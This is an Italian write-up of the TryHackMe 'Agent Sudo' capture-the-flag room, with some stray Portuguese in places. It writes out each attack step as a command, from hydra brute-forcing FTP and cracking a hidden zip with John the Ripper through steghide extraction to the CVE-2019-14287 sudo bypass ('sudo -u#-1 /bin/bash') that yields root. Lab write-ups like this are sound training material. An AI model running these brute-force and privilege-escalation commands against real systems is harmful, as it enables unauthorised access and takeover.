
Write-up della CTF Sudo Agent (TryHackMe), con enumerazione, sfruttamento web, steganografia, SSH e privilege escalation tramite CVE-2019-14287.

Write-up della Sudo Agent CTF (TryHackMe), con enumerazione, sfruttamento web, steganografia, SSH e privilege escalation tramite CVE-2019-14287.
| Voce | Informazione |
|---|---|
| Piattaforma | TryHackMe |
| Sistema | Linux |
| Difficoltà | Facile |
| Obiettivo | Sfruttamento web, FTP, SSH, steganografia e privilege escalation |
| CVE | CVE-2019-14287 |
| Stato | Completato ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
Il primo passo della fase di ricognizione è stato identificare le porte aperte. Ho eseguito la scansione delle porte con nmap:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Analizzando l'applicazione web, mi sono imbattuto nel seguente messaggio:
L'applicazione web ha mostrato un messaggio dell'Agent R che indicava che l'accesso dipendeva da uno User-Agent specifico.
Ho modificato lo User-Agent, utilizzando lo User-Agent switcher, impostandolo su REDACTED, ed è stato possibile visualizzare il messaggio:
Il messaggio ha rivelato informazioni su uno degli agenti e ha indicato che la sua password era debole.
Con l'utente trovato e sapendo che la sua password era debole, ho eseguito un brute force con hydra:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
L'hydra è riuscito a restituire con successo la password dell'agentC!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
Le credenziali ottenute hanno permesso l'accesso al servizio FTP.
Nel FTP sono stati trovati file di testo e immagini.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Ho scaricato i file per analizzarli.
Ho iniziato l'analisi visualizzando il contenuto del file di testo To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
Il file è un messaggio inviato dall'agente C all'agente J. Abbiamo scoperto che esiste una credenziale nascosta in uno dei file immagine.
Con lo strumento Binwalk, ho identificato che il file cutie.png conteneva un archivio ZIP crittografato, il cui contenuto era il file To_agentR.txt.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Per leggere il file devo estrarlo e scoprirne la password. Ho eseguito l'estrazione del file:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
O Binwalk ha indicato che il file ZIP iniziava all'offset 34562. Ho utilizzato questo valore per estrarre da quel punto e generare il file ZIP separatamente.
E l'estrazione dell'hash:
zip2john *.zip > hash.txt
E ora scopriamo la password con l'aiuto di John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
Dopo aver estratto il file ho utilizzato la password trovata:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Abbiamo un codice in base64 che dobbiamo decodificare
echo "QXJlYTUx" | base64 -d
REDACTED
Dopo aver ottenuto la password utilizzata nella steganografia, ho usato Steghide per estrarre il messaggio nascosto nell'immagine cute-alien.jpg.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
Il messaggio decodificato è stato inviato al file message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
Il messaggio conteneva il nome dell'agent J e la sua password.
Ho utilizzato le credenziali dell'agent J per effettuare l'accesso via SSH. Dopo l'accesso riuscito, ho individuato il file chiamato user_flag.txt e un altro file immagine.
ls
Alien_autospy.jpg user_flag.txt
Dopo aver ottenuto l'accesso via SSH, ho trovato il file Alien_autospy.jpg.
Ho eseguito un'analisi dell'immagine e, successivamente, ho utilizzato tecniche di OSINT per identificare l'origine e il contesto della fotografia.
Attraverso una ricerca in fonti pubbliche, è stato possibile associare l'immagine al caso.

Prima di tentare di escalare i privilegi, ho verificato i permessi sudo dell'utente corrente:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
La configurazione mostrata da sudo -l era vulnerabile alla CVE-2019-14287.
Questa vulnerabilità consente di aggirare determinate restrizioni di esecuzione di sudo utilizzando un UID speciale, come -1, che può essere interpretato in modo equivalente all'utente root nelle versioni vulnerabili.
È stato possibile elevare i privilegi specificando l'utente come -1:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
Il comando ha prodotto una shell con privilegi di root.
Abusando dei privilegi ottenuti, ho navigato fino alla cartella root e ho accesso al file root.txt dove ho trovato le due ultime flag:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R